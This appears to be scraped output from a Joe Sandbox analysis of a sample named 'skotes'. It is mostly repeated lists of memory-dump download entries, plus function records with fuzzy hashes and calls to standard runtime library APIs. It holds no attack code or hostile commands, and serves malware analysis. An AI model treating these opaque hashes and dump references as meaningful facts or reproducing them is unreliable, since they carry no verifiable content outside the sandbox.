Associated: 00000007.00000002.2552564096.00000000009AE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554038312.00000000009B1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554164840.00000000009B3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554238457.00000000009C4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554297406.00000000009C5000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554333779.00000000009CD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554387078.00000000009D8000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554491229.00000000009F2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556055941.00000000009F3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556125455.00000000009FB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556183178.0000000000A01000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556287487.0000000000A02000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556340876.0000000000A04000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556389372.0000000000A05000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556440940.0000000000A08000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556494514.0000000000A11000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556554810.0000000000A13000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556612682.0000000000A14000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556663388.0000000000A17000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556719666.0000000000A18000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557160630.0000000000A1E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557223364.0000000000A26000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557279754.0000000000A2A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557340481.0000000000A2B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557400916.0000000000A2C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557498033.0000000000A2D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557532658.0000000000A33000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557625518.0000000000A42000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557663846.0000000000A43000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557724225.0000000000A64000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557771532.0000000000A66000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557771532.0000000000A71000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557869892.0000000000AA0000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557927163.0000000000AA1000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557987298.0000000000AA2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558043601.0000000000AA7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558093037.0000000000AA9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558137774.0000000000AB7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558209982.0000000000AB8000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7a0000_skotes.jbxd

Yara matches

Similarity

API ID: __alloca_probe_16__freea
String ID:
API String ID: 1635606685-0
Opcode ID: 50969ece586eef54e4e69c30bd0e9b535fa000ca16b7a3a42590dfd149691930
Instruction ID: 34a8746a818ecbe90e9e86cf123e66b6a385e93a5a98dfc8f8482c3242dee9ae
Opcode Fuzzy Hash: 50969ece586eef54e4e69c30bd0e9b535fa000ca16b7a3a42590dfd149691930
Instruction Fuzzy Hash: A381C571D022859BDF209E668855AEF7BB5DF2D794F198069E800BB241E73DDC40CBA1

Function 007D504E Relevance: 6.2, APIs: 4, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 007D5115
___AdjustPointer.LIBCMT ref: 007D5138
___AdjustPointer.LIBCMT ref: 007D51D4

Memory Dump Source

Source File: 00000007.00000002.2545510550.00000000007A1000.00000040.00000001.01000000.0000000B.sdmp, Offset: 007A0000, based on PE: true

Associated: 00000007.00000002.2545393869.00000000007A0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2545510550.0000000000802000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2546253105.0000000000809000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2546810224.000000000080B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2547561816.0000000000817000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2549354887.000000000096F000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2549416629.0000000000971000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2549910258.0000000000986000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2551067659.0000000000987000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2551120553.000000000098A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2551120553.0000000000991000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552236389.000000000099D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552329352.000000000099E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552387901.00000000009A5000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552439131.00000000009A6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552509965.00000000009AD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552564096.00000000009AE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554038312.00000000009B1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554164840.00000000009B3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554238457.00000000009C4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554297406.00000000009C5000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554333779.00000000009CD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554387078.00000000009D8000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554491229.00000000009F2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556055941.00000000009F3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556125455.00000000009FB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556183178.0000000000A01000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556287487.0000000000A02000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556340876.0000000000A04000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556389372.0000000000A05000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556440940.0000000000A08000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556494514.0000000000A11000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556554810.0000000000A13000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556612682.0000000000A14000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556663388.0000000000A17000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556719666.0000000000A18000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557160630.0000000000A1E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557223364.0000000000A26000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557279754.0000000000A2A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557340481.0000000000A2B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557400916.0000000000A2C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557498033.0000000000A2D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557532658.0000000000A33000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557625518.0000000000A42000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557663846.0000000000A43000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557724225.0000000000A64000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557771532.0000000000A66000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557771532.0000000000A71000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557869892.0000000000AA0000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557927163.0000000000AA1000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557987298.0000000000AA2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558043601.0000000000AA7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558093037.0000000000AA9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558137774.0000000000AB7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558209982.0000000000AB8000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7a0000_skotes.jbxd

Yara matches

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: e65592700ad0bf1319536f3dc22e31680ea93531a8ad801efa49b14b79c662ed
Instruction ID: ae4a8c7a70d74ec8bbd9a0bcbb84b6295206624f699da7ffeaf72a4610fd6d6b
Opcode Fuzzy Hash: e65592700ad0bf1319536f3dc22e31680ea93531a8ad801efa49b14b79c662ed
Instruction Fuzzy Hash: 0E51E172601A0AEFDB298F14D885BBA77B5FF10310F14852BE85597391E73AED40CB91

Function 007D4C15 Relevance: 6.1, APIs: 4, Instructions: 141COMMON

Download Yara Rule

APIs

TypeidsEqual.LIBVCRUNTIME ref: 007D4C66
TypeidsEqual.LIBVCRUNTIME ref: 007D4C8B
PMDtoOffset.LIBCMT ref: 007D4CA1
PMDtoOffset.LIBCMT ref: 007D4D22

Memory Dump Source

Source File: 00000007.00000002.2545510550.00000000007A1000.00000040.00000001.01000000.0000000B.sdmp, Offset: 007A0000, based on PE: true

Associated: 00000007.00000002.2545393869.00000000007A0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2545510550.0000000000802000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2546253105.0000000000809000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2546810224.000000000080B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2547561816.0000000000817000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2549354887.000000000096F000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2549416629.0000000000971000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2549910258.0000000000986000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2551067659.0000000000987000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2551120553.000000000098A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2551120553.0000000000991000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552236389.000000000099D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552329352.000000000099E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552387901.00000000009A5000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552439131.00000000009A6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552509965.00000000009AD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552564096.00000000009AE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554038312.00000000009B1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554164840.00000000009B3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554238457.00000000009C4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554297406.00000000009C5000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554333779.00000000009CD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554387078.00000000009D8000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554491229.00000000009F2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556055941.00000000009F3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556125455.00000000009FB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556183178.0000000000A01000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556287487.0000000000A02000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556340876.0000000000A04000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556389372.0000000000A05000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556440940.0000000000A08000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556494514.0000000000A11000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556554810.0000000000A13000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556612682.0000000000A14000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556663388.0000000000A17000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556719666.0000000000A18000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557160630.0000000000A1E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557223364.0000000000A26000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557279754.0000000000A2A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557340481.0000000000A2B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557400916.0000000000A2C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557498033.0000000000A2D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557532658.0000000000A33000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557625518.0000000000A42000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557663846.0000000000A43000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557724225.0000000000A64000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557771532.0000000000A66000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557771532.0000000000A71000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557869892.0000000000AA0000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557927163.0000000000AA1000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557987298.0000000000AA2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558043601.0000000000AA7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558093037.0000000000AA9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558137774.0000000000AB7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558209982.0000000000AB8000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7a0000_skotes.jbxd

Yara matches

Similarity

API ID: EqualOffsetTypeids
String ID:
API String ID: 1707706676-0
Opcode ID: 3eec7094d99c20ab3e5f50a57009843226765a16cb1229324919522e5f4ee723
Instruction ID: a0b6b0283db43200f9e04ccb2ea481300950d2faaa78b518be89ff4b879ead97
Opcode Fuzzy Hash: 3eec7094d99c20ab3e5f50a57009843226765a16cb1229324919522e5f4ee723
Instruction Fuzzy Hash: 6A51AA35A042099FCF11CF68C4806EEBBF6FF15354F14449BE991A7351D33AAA05CBA0

Function 007A2EC0 Relevance: 6.1, APIs: 4, Instructions: 132threadCOMMONLIBRARYCODE

Download Yara Rule

APIs

__Mtx_unlock.LIBCPMT ref: 007A2F5F
GetCurrentThreadId.KERNEL32 ref: 007A2F7E
__Mtx_unlock.LIBCPMT ref: 007A2FCC
__Cnd_broadcast.LIBCPMT ref: 007A2FE3

Memory Dump Source

Source File: 00000007.00000002.2545510550.00000000007A1000.00000040.00000001.01000000.0000000B.sdmp, Offset: 007A0000, based on PE: true

Associated: 00000007.00000002.2545393869.00000000007A0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2545510550.0000000000802000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2546253105.0000000000809000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2546810224.000000000080B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2547561816.0000000000817000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2549354887.000000000096F000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2549416629.0000000000971000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2549910258.0000000000986000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2551067659.0000000000987000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2551120553.000000000098A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2551120553.0000000000991000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552236389.000000000099D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552329352.000000000099E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552387901.00000000009A5000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552439131.00000000009A6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552509965.00000000009AD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552564096.00000000009AE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554038312.00000000009B1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554164840.00000000009B3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554238457.00000000009C4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554297406.00000000009C5000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554333779.00000000009CD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554387078.00000000009D8000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554491229.00000000009F2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556055941.00000000009F3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556125455.00000000009FB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556183178.0000000000A01000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556287487.0000000000A02000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556340876.0000000000A04000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556389372.0000000000A05000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556440940.0000000000A08000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556494514.0000000000A11000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556554810.0000000000A13000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556612682.0000000000A14000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556663388.0000000000A17000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556719666.0000000000A18000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557160630.0000000000A1E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557223364.0000000000A26000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557279754.0000000000A2A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557340481.0000000000A2B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557400916.0000000000A2C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557498033.0000000000A2D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557532658.0000000000A33000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557625518.0000000000A42000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557663846.0000000000A43000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557724225.0000000000A64000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557771532.0000000000A66000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557771532.0000000000A71000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557869892.0000000000AA0000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557927163.0000000000AA1000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557987298.0000000000AA2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558043601.0000000000AA7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558093037.0000000000AA9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558137774.0000000000AB7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558209982.0000000000AB8000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7a0000_skotes.jbxd

Yara matches

Similarity

API ID: Mtx_unlock$Cnd_broadcastCurrentThread
String ID:
API String ID: 3264154886-0
Opcode ID: fd90b6efec5fc9817cdc47d4557a31ee37dd2451f866960e27457596763d54c2
Instruction ID: 49a01c999a3484b60a7f29807a8d592b0dc1f217e2621e02fecd1993c9c1f167
Opcode Fuzzy Hash: fd90b6efec5fc9817cdc47d4557a31ee37dd2451f866960e27457596763d54c2
Instruction Fuzzy Hash: 8E41D1B1A01205DFDB21DF64C948B9AB7F8FF19324F008629E816D7651EB39EA05CB91

Function 007CDB30 Relevance: 6.1, APIs: 4, Instructions: 123COMMON

Download Yara Rule

APIs

Concurrency::details::ContextBase::TraceContextEvent.LIBCMT ref: 007CDB64

Part of subcall function 007C8F2F: Concurrency::details::ContextBase::ThrowContextEvent.LIBCONCRT ref: 007C8F50

Concurrency::details::InternalContextBase::FindWorkForBlockingOrNesting.LIBCONCRT ref: 007CDBC3
Concurrency::details::InternalContextBase::PrepareForUse.LIBCONCRT ref: 007CDBE9
Concurrency::location::_Assign.LIBCMT ref: 007CDC56

Memory Dump Source

Source File: 00000007.00000002.2545510550.00000000007A1000.00000040.00000001.01000000.0000000B.sdmp, Offset: 007A0000, based on PE: true

Associated: 00000007.00000002.2545393869.00000000007A0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2545510550.0000000000802000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2546253105.0000000000809000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2546810224.000000000080B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2547561816.0000000000817000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2549354887.000000000096F000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2549416629.0000000000971000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2549910258.0000000000986000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2551067659.0000000000987000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2551120553.000000000098A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2551120553.0000000000991000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552236389.000000000099D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552329352.000000000099E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552387901.00000000009A5000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552439131.00000000009A6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552509965.00000000009AD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552564096.00000000009AE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554038312.00000000009B1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554164840.00000000009B3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554238457.00000000009C4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554297406.00000000009C5000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554333779.00000000009CD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554387078.00000000009D8000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554491229.00000000009F2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556055941.00000000009F3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556125455.00000000009FB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556183178.0000000000A01000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556287487.0000000000A02000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556340876.0000000000A04000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556389372.0000000000A05000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556440940.0000000000A08000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556494514.0000000000A11000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556554810.0000000000A13000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556612682.0000000000A14000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556663388.0000000000A17000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556719666.0000000000A18000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557160630.0000000000A1E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557223364.0000000000A26000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557279754.0000000000A2A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557340481.0000000000A2B000.00000080.00000001.01000000.0000000B.sdmpDownload File
